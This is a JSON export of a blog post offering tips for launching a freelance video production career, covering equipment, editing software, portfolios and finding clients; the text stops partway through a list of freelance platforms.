{"id":6239,"date":"2023-06-09T10:56:28","date_gmt":"2023-06-09T10:56:28","guid":{"rendered":"https:\/\/forest-1041a2.ingress-bonde.ewp.live\/8-effective-tips-to-launch-your-freelance-video-production-career\/"},"modified":"2023-06-09T10:56:28","modified_gmt":"2023-06-09T10:56:28","slug":"8-effective-tips-to-launch-your-freelance-video-production-career","status":"publish","type":"post","link":"http:\/\/benrmatthews.local\/8-effective-tips-to-launch-your-freelance-video-production-career\/","title":{"rendered":"8 Effective Tips To Launch Your Freelance Video Production Career"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_68_1 ez-toc-wrap-center counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title \" >On this page<\/p>\n<span class=\"ez-toc-title-toggle\"><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"http:\/\/benrmatthews.local\/8-effective-tips-to-launch-your-freelance-video-production-career\/#The_Two_Types_of_Videography_Freelancer\" title=\"The Two Types of Videography Freelancer\">The Two Types of Videography Freelancer<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"http:\/\/benrmatthews.local\/8-effective-tips-to-launch-your-freelance-video-production-career\/#What_Qualities_Should_a_Good_Videographer_Have\" title=\"What Qualities Should a Good Videographer Have?\">What Qualities Should a Good Videographer Have?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"http:\/\/benrmatthews.local\/8-effective-tips-to-launch-your-freelance-video-production-career\/#Ongoing_Training\" title=\"Ongoing Training\">Ongoing Training<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"http:\/\/benrmatthews.local\/8-effective-tips-to-launch-your-freelance-video-production-career\/#Select_and_Learn_a_Video_Editing_Program\" title=\"Select and Learn a Video Editing Program\">Select and Learn a Video Editing Program<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"http:\/\/benrmatthews.local\/8-effective-tips-to-launch-your-freelance-video-production-career\/#Purchase_the_Right_Equipment\" title=\"Purchase the Right Equipment\">Purchase the Right Equipment<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"http:\/\/benrmatthews.local\/8-effective-tips-to-launch-your-freelance-video-production-career\/#Your_Freelance_Portfolio\" title=\"Your Freelance Portfolio\">Your Freelance Portfolio<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"http:\/\/benrmatthews.local\/8-effective-tips-to-launch-your-freelance-video-production-career\/#Establish_an_Online_Presence\" title=\"Establish an Online Presence\">Establish an Online Presence<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"http:\/\/benrmatthews.local\/8-effective-tips-to-launch-your-freelance-video-production-career\/#Client_Customer_Acquisition\" title=\"Client \/ Customer Acquisition\">Client \/ Customer Acquisition<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"http:\/\/benrmatthews.local\/8-effective-tips-to-launch-your-freelance-video-production-career\/#Time_Tracking\" title=\"Time Tracking\">Time Tracking<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-10\" href=\"http:\/\/benrmatthews.local\/8-effective-tips-to-launch-your-freelance-video-production-career\/#Conclusion\" title=\"Conclusion\">Conclusion<\/a><\/li><\/ul><\/nav><\/div>\n<p><span style=&quot;font-weight: 400;&quot;>The world of internet freelancing has created a vast amount of unique opportunities for people all around the world. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>Online freelancing has made the world of work easier and smaller as experienced and knowledgeable individuals can now easily <a href=\"&quot;https:\/\/go.benrmatthews.com\/find-freelance-clients-fast&quot;\" class=\"broken_link\">find freelance clients<\/a> with those who are looking for their desired skill set. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>For many, it\u2019s a bright new world of work where you can organise your own schedule, take time off whenever you want or need or even work remotely whilst travelling the world. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>One key area of online freelancing that has emerged throughout the last few years is videography. Videographers were previously limited to video houses and studios which charge the earth for production costs. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>Now, individual specialists can be hired for on-going work or one-off projects that can range from creating 1 minute video clips to editing feature-length movies and documentaries.<\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>The growth of freelancing platforms such as <\/span><span style=&quot;font-weight: 400;&quot;>Upwork<\/span><span style=&quot;font-weight: 400;&quot;> continue to increase and are helping to bridge the gap between freelancers and projects.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><img src=&quot;https:\/\/benrmatthews.com\/wp-content\/uploads\/2018\/07\/Upwork-Google-Trends.png&quot; alt=&quot;Upwork Google Trends&quot; width=&quot;949&quot; height=&quot;434&quot; class=&quot;aligncenter wp-image-2671 size-full&quot; \/><\/p>\n<p><i><span style=&quot;font-weight: 400;&quot;>Source: Upwork &#8211;<\/span><\/i><i><span style=&quot;font-weight: 400;&quot;> Google Trends<\/span><\/i><i><span style=&quot;font-weight: 400;&quot;> 2004 &#8211; Present<\/span><\/i><\/p>\n<p>&nbsp;<\/p>\n<p><span style=&quot;font-weight: 400;&quot;>Video is a major asset in today\u2019s digital world and is required by brands and organisations of all types. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>In 2018, phenomenal <\/span><span style=&quot;font-weight: 400;&quot;>81% of businesses use video in their marketing strategy<\/span><span style=&quot;font-weight: 400;&quot;> which has increased from 63% in 2017. 65% of those who don\u2019t use video say they\u2019ll plan to use to it in 2018. <\/span><\/p>\n<p>&nbsp;<\/p>\n<p><img src=&quot;https:\/\/benrmatthews.com\/wp-content\/uploads\/2018\/07\/Video-Marketing-Google-Trends.png&quot; alt=&quot;Video Marketing Google Trends&quot; width=&quot;965&quot; height=&quot;341&quot; class=&quot;aligncenter wp-image-2672 size-full&quot; \/><\/p>\n<p><i><span style=&quot;font-weight: 400;&quot;>Source: Video Marketing &#8211; <\/span><\/i><i><span style=&quot;font-weight: 400;&quot;>Google Trends<\/span><\/i><i><span style=&quot;font-weight: 400;&quot;> 2004 &#8211; Present<\/span><\/i><\/p>\n<p>&nbsp;<\/p>\n<p><span style=&quot;font-weight: 400;&quot;>Video is hot right now &#8211; there\u2019s never been a better time to offer your skills to this emerging online trade. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>So whether you\u2019re looking to become a video freelancer to create explainer videos, corporate productions or place your video content in funky content mediums such as a <\/span><span style=&quot;font-weight: 400;&quot;>video cards \/ video brochures<\/span><span style=&quot;font-weight: 400;&quot;> for clients, continue reading our comprehensive guide to kickstart your freelance video production career.<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"The_Two_Types_of_Videography_Freelancer\"><\/span><strong>The Two Types of Videography Freelancer<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<h4><strong>1. The \u2018One-man-band\u2019<\/strong><\/h4>\n<p><img src=&quot;https:\/\/benrmatthews.com\/wp-content\/uploads\/2018\/07\/One-Man-Band-Videography-Freelancer.png&quot; alt=&quot;One Man Band Videography Freelancer&quot; width=&quot;389&quot; height=&quot;324&quot; class=&quot;aligncenter wp-image-2669 size-full&quot; \/><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>As a \u2018one-man-band\u2019, you\u2019ll own cameras, microphones and other shooting equipment that allow you to take on physical shooting gigs in your area or region. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>Most of these will be events like weddings, events, music videos, short films, promo videos and corporate videos. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>There is a ton of work in this <strong>IF<\/strong> you\u2019re close to the kind of regional hubs where this style of work takes place.<\/span><\/p>\n<p><b>Pros:<\/b><\/p>\n<ul>\n<li style=&quot;font-weight: 400;&quot;><span style=&quot;font-weight: 400;&quot;>Physical shoots are often quite lucrative (several hundreds pounds or dollars for a day\u2019s work)<\/span><\/li>\n<li style=&quot;font-weight: 400;&quot;><span style=&quot;font-weight: 400;&quot;>Face-to-face networking can lead to ongoing or permanent roles<\/span><\/li>\n<\/ul>\n<p><b>Cons:<\/b><\/p>\n<ul>\n<li style=&quot;font-weight: 400;&quot;><span style=&quot;font-weight: 400;&quot;>Start-up costs are obviously high and are even higher if you want to bid for top level gigs<\/span><\/li>\n<li style=&quot;font-weight: 400;&quot;><span style=&quot;font-weight: 400;&quot;>Competitive freelance environment in major cities <\/span><\/li>\n<\/ul>\n<p><span style=&quot;font-weight: 400;&quot;>If it isn\u2019t possible to position yourself favourably for these on-site gigs, or if you plan on taking the digital nomad path to online freelancing, then do not fear &#8211; video freelancing is still easily achievable.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h4><strong>2. The Digital Videographer<\/strong><\/h4>\n<p><img src=&quot;https:\/\/benrmatthews.com\/wp-content\/uploads\/2018\/07\/Digital-Videographer.png&quot; alt=&quot;Digital Videographer&quot; width=&quot;706&quot; height=&quot;283&quot; class=&quot;aligncenter wp-image-2670 size-full&quot; \/><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>If you wish to stay mobile or don\u2019t live in proximity to a region with regular filming opportunities then you can work exclusively from your PC. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>Whilst your PC and video editing skills will need to be good enough to finish projects, you won&#8217;t need to purchase filming equipment. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>Your daily tasks could involve editing, animation, mastering, colour grading, CGI or almost any other task that can be performed \u2018in-the-box\u2019 (e.g. within editing software). <\/span><\/p>\n<p><b>Pros:<\/b><\/p>\n<ul>\n<li style=&quot;font-weight: 400;&quot;><span style=&quot;font-weight: 400;&quot;>Can work remotely from anywhere<\/span><\/li>\n<li style=&quot;font-weight: 400;&quot;><span style=&quot;font-weight: 400;&quot;>Lower start-up costs<\/span><\/li>\n<\/ul>\n<p><b>Cons:<\/b><\/p>\n<ul>\n<li style=&quot;font-weight: 400;&quot;><span style=&quot;font-weight: 400;&quot;>Little opportunity for face-to-face networking<\/span><\/li>\n<li style=&quot;font-weight: 400;&quot;><span style=&quot;font-weight: 400;&quot;>Limited to work that involves video editing software<\/span><\/li>\n<\/ul>\n<h2><span class=\"ez-toc-section\" id=\"What_Qualities_Should_a_Good_Videographer_Have\"><\/span><strong>What Qualities Should a Good Videographer Have?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=&quot;font-weight: 400;&quot;>As a person, a good videographer should be creative and pragmatic in solving problems. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>In the freelance world, prospective clients will often contact you with a basic set of needs and <\/span><a href=\"&quot;https:\/\/www.premiumbeat.com\/blog\/freelance-video-managing-client-expectations\/&quot;\" class=\"broken_link\"><span style=&quot;font-weight: 400;&quot;>expect you to work out exactly what they need.<\/span><\/a><span style=&quot;font-weight: 400;&quot;> <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>To work out a client\u2019s needs, you\u2019ll need to be able to make a critical assessment of their technical expectations and respond accordingly. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>Communication is key as you\u2019ll be messaging prospective clients all the time. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>Being able to communicate in a concise, friendly and professional manner will win you more jobs more often. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>This is massive &#8211; no matter what your freelance portfolio says about you, a poorly written cover letter will reduce your chances of getting freelance work.<\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>Aside from that, you should be flexible and intuitive in responding to client needs. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>The freelance world is largely message based but it\u2019s still important to remain humanistic in your conversations.<\/span><\/p>\n<h4><strong>Research, Learn and Educate Yourself about the Film and Video Production Industry<br \/>\n<\/strong><span style=&quot;font-weight: 400;&quot;><\/span><\/h4>\n<p><span style=&quot;font-weight: 400;&quot;>Knowledge is power, so make sure to refresh up on your movie making knowledge and know the <\/span><span style=&quot;font-weight: 400;&quot;>video production process in and out<\/span><span style=&quot;font-weight: 400;&quot;> because it\u2019ll help you to build your skills and <a href=\"&quot;https:\/\/go.benrmatthews.com\/find-freelance-clients-fast&quot;\" class=\"broken_link\">find freelancer clients fast<\/a>.<\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>The video production industry is huge and this is largely thanks to the entertainment industry. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>Films, documentaries and TV programs occupy the vast majority of the video industry in terms of revenue and employment. <\/span><span style=&quot;font-weight: 400;&quot;>Box-office revenue is forecast to exceed $50 billion in 2020<\/span><span style=&quot;font-weight: 400;&quot;>!<\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>The online freelance videography landscape is formed mostly by smaller projects and occasional ongoing work but it\u2019s still a massive industry. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>T<\/span><span style=&quot;font-weight: 400;&quot;>he number of freelance workers in videography has grown vastly and in the UK, <\/span><span style=&quot;font-weight: 400;&quot;>just under half of all workers in the video industry are freelance. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>Knowing what to expect is really important when you start out freelancing. Here are some examples of what to expect from a freelance video career:<\/span><\/p>\n<h4><b>Physical Work<\/b><\/h4>\n<ul>\n<li style=&quot;font-weight: 400;&quot;><b>TV and film.<\/b><span style=&quot;font-weight: 400;&quot;> Even large organisations like <\/span><span style=&quot;font-weight: 400;&quot;>Film4<\/span><span style=&quot;font-weight: 400;&quot;> and the <\/span><span style=&quot;font-weight: 400;&quot;>BBC <\/span><span style=&quot;font-weight: 400;&quot;>will look to hire freelancers but most frequently, you\u2019ll see smaller private projects advertised like producing interviews or corporate video. <\/span><\/li>\n<li style=&quot;font-weight: 400;&quot;><b>Example:<\/b><span style=&quot;font-weight: 400;&quot;> You might be expected to film someone in an interview format (e.g. a talk on a new product release) and then professionally edit it to perfection.<\/span><\/li>\n<li style=&quot;font-weight: 400;&quot;><b>Events.<\/b><span style=&quot;font-weight: 400;&quot;> Gigs filming events of any kind are commonplace and could be anything from filming corporate training days to weddings, parties and music events. <\/span><\/li>\n<li style=&quot;font-weight: 400;&quot;><b>Example<\/b><span style=&quot;font-weight: 400;&quot;>. You might be expected to film a village fete for a day and then edit down the footage into a fun showreel that will be promoted online.<\/span><\/li>\n<\/ul>\n<h4><b>Digital<\/b><\/h4>\n<ul>\n<li style=&quot;font-weight: 400;&quot;><b>Video editing.<\/b><span style=&quot;font-weight: 400;&quot;> This is a major area of freelance videography, the work can be incredibly varied so being flexible is key. I.e. many individuals and organisations might film some footage themselves and then realise they have no way of professionally editing it. Alternatively, they might have received tons of raw footage and need to decide which clips to use for the final version. Video editing can be anything from taking hundreds of clips and turning them into coherent footage to colour grading and lighting or CGI. <\/span><\/li>\n<li style=&quot;font-weight: 400;&quot;><b>Example.<\/b><span style=&quot;font-weight: 400;&quot;> A business filmed a DIY video of their factory production process and want to edit it into an awesome video with some enhancements to colour and lighting.<\/span><\/li>\n<li style=&quot;font-weight: 400;&quot;><b>Animation.<\/b><span style=&quot;font-weight: 400;&quot;> Animation is obviously an entire industry in its own right but jobs requesting short 1-minute marketing videos are extremely common. You don\u2019t even need animation skills to create them, you can use online programs such as <\/span><span style=&quot;font-weight: 400;&quot;>Moovly<\/span><span style=&quot;font-weight: 400;&quot;>. Combined with a bit of video editing knowledge, you can enhance animations created with these programs and touch them up to a higher professional standard. <\/span><\/li>\n<li style=&quot;font-weight: 400;&quot;><b>Example:<\/b><span style=&quot;font-weight: 400;&quot;> An IT security consultancy want a 1-minute animation detailing the key areas of online security and how they can assist with prospective clients. <\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Ongoing_Training\"><\/span><strong>Ongoing Training<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=&quot;font-weight: 400;&quot;>When you\u2019re entering the world of freelance videography you may quickly realise that you need to become well versed in a diverse range of areas in the industry. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>Take the time to train yourself in areas which you\u2019re interested in working in. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>There are tons of courses on everything from basic and advanced animation to extensive video editing. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>Some websites which offer online videography courses:<\/span><\/p>\n<ul>\n<li style=&quot;font-weight: 400;&quot;><span style=&quot;font-weight: 400;&quot;>Video School Online<\/span><\/li>\n<li style=&quot;font-weight: 400;&quot;><span style=&quot;font-weight: 400;&quot;>Larry Jordan<\/span><\/li>\n<li style=&quot;font-weight: 400;&quot;><span style=&quot;font-weight: 400;&quot;>Udemy<\/span><\/li>\n<li style=&quot;font-weight: 400;&quot;><span style=&quot;font-weight: 400;&quot;>Lynda<\/span><\/li>\n<\/ul>\n<h2><\/h2>\n<h2><span class=\"ez-toc-section\" id=\"Select_and_Learn_a_Video_Editing_Program\"><\/span><strong>Select and Learn a Video Editing Program<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=&quot;font-weight: 400;&quot;>Being able to understand and use video editing software is one of the most challenging areas of modern videography. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>You need to be able to understand the client\u2019s request and contextualise the actions you\u2019ll need to take within your favourite editing program.<\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>As an aspiring videographer, it\u2019s likely that you\u2019ll possess some video editing software knowledge already but if you plan on stepping forward into the freelance world then you\u2019ll need to select your weapon of choice and brush up on your skills. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>We advise that you pick <\/span><b>one<\/b><span style=&quot;font-weight: 400;&quot;> main editing program.<\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;> There really are tons of options but the industry standard is probably <\/span><span style=&quot;font-weight: 400;&quot;>Adobe Premiere Pro<\/span><span style=&quot;font-weight: 400;&quot;>. It couples with After Effects and other member programs of <\/span><span style=&quot;font-weight: 400;&quot;>Adobe\u2019s Creative Cloud<\/span><span style=&quot;font-weight: 400;&quot;>. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>For many aspiring freelancers, Adobe Premiere is prohibitively priced at $19.99 monthly but fortunately, there are <\/span><span style=&quot;font-weight: 400;&quot;>plenty of viable alternatives to choose from<\/span><span style=&quot;font-weight: 400;&quot;>. <\/span><\/p>\n<h3><\/h3>\n<h3><strong>YouTube as Video Resource<\/strong><\/h3>\n<p><span style=&quot;font-weight: 400;&quot;>If you\u2019re looking for resources for learning video editing then look no further than YouTube. Here are some great tutorial channels:<\/span><\/p>\n<ul>\n<li style=&quot;font-weight: 400;&quot;><span style=&quot;font-weight: 400;&quot;>Cinecom<\/span><\/li>\n<li style=&quot;font-weight: 400;&quot;><span style=&quot;font-weight: 400;&quot;>Justin Odisho<\/span><\/li>\n<li style=&quot;font-weight: 400;&quot;><span style=&quot;font-weight: 400;&quot;>Aputure<\/span><\/li>\n<li style=&quot;font-weight: 400;&quot;><span style=&quot;font-weight: 400;&quot;>The Film Look<\/span><\/li>\n<li style=&quot;font-weight: 400;&quot;><a href=\"&quot;https:\/\/www.youtube.com\/user\/petermckinnon24&quot;\" class=\"broken_link\"><span style=&quot;font-weight: 400;&quot;>Peter McKinnon<\/span><\/a><\/li>\n<\/ul>\n<h2><span class=\"ez-toc-section\" id=\"Purchase_the_Right_Equipment\"><\/span><strong>Purchase the Right Equipment<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=&quot;font-weight: 400;&quot;>As mentioned earlier, determining your path in freelance videography will be a significant factor in determining what equipment you\u2019ll need. <\/span><\/p>\n<h4><strong>One-man-band<\/strong><\/h4>\n<p><span style=&quot;font-weight: 400;&quot;>If you plan on forming a \u2018one-man-band\u2019 which can take on physical shooting jobs like weddings, events and corporate videos then you\u2019re going to need a considerable amount of video equipment. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>Your budget equipment range could cost between \u00a32000 and \u00a350,000 or above and it should be viewed as strategic investment. <\/span><\/p>\n<ul>\n<li style=&quot;font-weight: 400;&quot;><span style=&quot;font-weight: 400;&quot;>A professional camera. The <\/span><span style=&quot;font-weight: 400;&quot;>Panasonic HPX170<\/span><span style=&quot;font-weight: 400;&quot;> is awesome (pictured below)<\/span><\/li>\n<li style=&quot;font-weight: 400;&quot;><span style=&quot;font-weight: 400;&quot;>A professional microphone kit <\/span><\/li>\n<li style=&quot;font-weight: 400;&quot;><span style=&quot;font-weight: 400;&quot;>Headphones<\/span><\/li>\n<li style=&quot;font-weight: 400;&quot;><span style=&quot;font-weight: 400;&quot;>Battery chargers of all kinds, spare batteries, cables, accessories, tape<\/span><\/li>\n<li style=&quot;font-weight: 400;&quot;><span style=&quot;font-weight: 400;&quot;>Optional lighting gear<\/span><\/li>\n<li style=&quot;font-weight: 400;&quot;><span style=&quot;font-weight: 400;&quot;>Optional lenses <\/span><\/li>\n<li style=&quot;font-weight: 400;&quot;><span style=&quot;font-weight: 400;&quot;>Optional green screen equipment<\/span><\/li>\n<\/ul>\n<p><img src=&quot;https:\/\/benrmatthews.com\/wp-content\/uploads\/2018\/07\/Freelance-Video-Production.png&quot; alt=&quot;Freelance Video Production&quot; width=&quot;933&quot; height=&quot;466&quot; class=&quot;aligncenter wp-image-2667 size-full&quot; \/><\/p>\n<h4><strong>Digital Videographer<\/strong><\/h4>\n<p><span style=&quot;font-weight: 400;&quot;>The \u2018one-man-band\u2019 path isn\u2019t for everybody. If you\u2019re not going down that route then you should concentrate on the following:<\/span><\/p>\n<ul>\n<li style=&quot;font-weight: 400;&quot;><span style=&quot;font-weight: 400;&quot;>A professional level laptop, preferably with a big screen (4K is becoming increasingly important)<\/span><\/li>\n<li style=&quot;font-weight: 400;&quot;><span style=&quot;font-weight: 400;&quot;>Solid backup hard drives like the <\/span><span style=&quot;font-weight: 400;&quot;>OWC Elite Pro (minis)<\/span><\/li>\n<li style=&quot;font-weight: 400;&quot;><span style=&quot;font-weight: 400;&quot;>Professional monitor headphones such as the <\/span><span style=&quot;font-weight: 400;&quot;>Sennheiser HD 380 <\/span><\/li>\n<li style=&quot;font-weight: 400;&quot;><span style=&quot;font-weight: 400;&quot;>A USB microphone like the <\/span><span style=&quot;font-weight: 400;&quot;>Blue Yeti<\/span><span style=&quot;font-weight: 400;&quot;> is a great microphone for portability<\/span><\/li>\n<\/ul>\n<h2><span class=\"ez-toc-section\" id=\"Your_Freelance_Portfolio\"><\/span><span style=&quot;font-weight: 400;&quot;><strong>Your Freelance Portfolio<\/strong> <\/span><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=&quot;font-weight: 400;&quot;>A videography freelance portfolio revolves around something called a showreel. This is a reel of clips that showcases your best work. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>Most showreels are short and can be even as short as one minute in length. However, we recommend aiming for 3 minutes of well-labelled and organised footage. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>There are a few ways you can display your freelance portfolio. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>You can showcase it publically on <\/span><span style=&quot;font-weight: 400;&quot;>Behance<\/span><span style=&quot;font-weight: 400;&quot;>, a social network designed for creatives or place files in a Google Drive folder and link that to prospective clients along with a text transcript of your work. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>Alternatively, you can upload your portfolio to <\/span><span style=&quot;font-weight: 400;&quot;>YouTube<\/span><span style=&quot;font-weight: 400;&quot;> and\/or <\/span><span style=&quot;font-weight: 400;&quot;>Vimeo<\/span><span style=&quot;font-weight: 400;&quot;>. <\/span><span style=&quot;font-weight: 400;&quot;>Vimeo Pro<\/span><span style=&quot;font-weight: 400;&quot;> that allows you to upload password protected videos which is useful if you just want to show your clients edits or cuts.<\/span><\/p>\n<p><img src=&quot;https:\/\/benrmatthews.com\/wp-content\/uploads\/2018\/07\/Vimeo-Freelance-Videographer-Portolios.png&quot; alt=&quot;Vimeo Freelance Videographer Portolios&quot; width=&quot;931&quot; height=&quot;457&quot; class=&quot;aligncenter wp-image-2674 size-full&quot; \/><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>To strengthen your portfolio, be active on Social Media and leverage tools such as <\/span><span style=&quot;font-weight: 400;&quot;>BuzzSumo<\/span><span style=&quot;font-weight: 400;&quot;> to scout out and connect with Social Media Influencers. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>If you\u2019re YouTubing your portfolio then work hard to promote your content so you can gain some likes, views and comments. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>A great way of building your portfolio\u2019s credibility is by posting relevant links around forums such as <\/span><span style=&quot;font-weight: 400;&quot;>Reddit<\/span><span style=&quot;font-weight: 400;&quot;>, Facebook Groups, LinkedIn Groups and Slack Communities.<\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>Whilst it\u2019s great having a fixed portfolio, you need to realise that your work will develop and you\u2019ll need to gradually add to your reel. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>This is why freelancing platforms such as <\/span><span style=&quot;font-weight: 400;&quot;>Behance<\/span><span style=&quot;font-weight: 400;&quot;> are great as you can update your portfolio at any time. <\/span><\/p>\n<h3><img src=&quot;https:\/\/benrmatthews.com\/wp-content\/uploads\/2018\/07\/Behance-Freelance-Videographer-Portolios.png&quot; alt=&quot;Behance Freelance Videographer Portolios&quot; width=&quot;938&quot; height=&quot;398&quot; class=&quot;aligncenter wp-image-2673 size-full&quot; \/><\/h3>\n<h3><strong>Tailor Your Freelance Portfolio<\/strong><\/h3>\n<p><span style=&quot;font-weight: 400;&quot;>Be aware that it\u2019s best to tailor your freelance portfolio to each client you\u2019re applying to. For example, if you\u2019re applying to an art \/ creative project then you might want to miss out more corporate videos and vice versa. <\/span><\/p>\n<p>&nbsp;<\/p>\n<h3><strong>Animate and Label Your Footage<\/strong><\/h3>\n<p><span style=&quot;font-weight: 400;&quot;>Always label and annotate footage. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>You can either add text and captions, slides between projects to explain what they are or if you\u2019re using YouTube, you can annotate with the Annotation Editor (now called <\/span><span style=&quot;font-weight: 400;&quot;>Cards<\/span><span style=&quot;font-weight: 400;&quot;>). <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>This will help you to keep organised, reduce your time spent building different showreels or portfolios whilst giving you more time to apply for potential freelancing projects.<\/span><\/p>\n<h2><\/h2>\n<h2><span class=\"ez-toc-section\" id=\"Establish_an_Online_Presence\"><\/span><strong>Establish an Online Presence<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=&quot;font-weight: 400;&quot;>Building your reputation is the biggest factor that will help you gain access to the most exciting and lucrative freelance opportunities. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>The first profiles you should focus on are your main client generation profiles. These will most likely be <\/span><span style=&quot;font-weight: 400;&quot;>Upwork<\/span><span style=&quot;font-weight: 400;&quot;>, <\/span><span style=&quot;font-weight: 400;&quot;>PeoplePerHour<\/span><span style=&quot;font-weight: 400;&quot;> and other freelance websites (full list in the next section). <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>You really want to ace your profile on these platforms and make them look as good as you possibly can. Fill out all profile info, qualifications, etc.<\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>Here are some other social media accounts we recommend:<\/span><\/p>\n<ol>\n<li><span style=&quot;font-weight: 400;&quot;>YouTube<\/span><span style=&quot;font-weight: 400;&quot;>: This is an obvious one. You should routinely upload projects to YouTube. Obviously, any personal project is fine to upload but you need to check with clients if you want to upload clips to a reel of recent work. <\/span><\/li>\n<li><span style=&quot;font-weight: 400;&quot;>Behance:<\/span><span style=&quot;font-weight: 400;&quot;> This is Adobe\u2019s own creative social network. It makes for a great digital portfolio gallery and even features its own built-in jobs page. You can sync it up to Creative Cloud if you wish to, enabling you to easily cut bits out of your project from Adobe programs for easy upload. Behance allows for the upload of almost any media and will retain high quality which is important for any visual portfolio.<\/span><\/li>\n<li><span style=&quot;font-weight: 400;&quot;>Instagram:<\/span><span style=&quot;font-weight: 400;&quot;> Instagram is obviously buzzing with users and with hashtags, you can easily fire off your work into useful and relevant social circles. Instagram can create leads for you all by itself if you simply track your activities and Instagram them regularly. The big downside to using Instagram is that it can destroy file quality and videos are the worst affected. <\/span><\/li>\n<\/ol>\n<h2><span class=\"ez-toc-section\" id=\"Client_Customer_Acquisition\"><\/span><strong>Client \/ Customer Acquisition<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=&quot;font-weight: 400;&quot;>Your main arena for client acquisition are freelance websites. These are sites where employers in the form of individuals, organisations and businesses can post requests for work. <\/span><\/p>\n<p><span style=&quot;font-weight: 400;&quot;>As a freelancer, you can browse their listings and apply with a cover letter\/proposal. Some job posts will have budgets but many are just a guide &#8211; it\u2019s up to you to judge the job in terms of hours and pay. <\/span><\/p>\n<p><strong>The Major Freelance Job\u00a0 Platforms:<\/strong><\/p>\n<ul>\n<li style=&quot;font-weight: 400;&quot;><span style=&quot;font-weight: 400;&quot;>Peopleperhour<\/span><\/li>\n<li style=&quot;font-weight: 400;&quot;><span 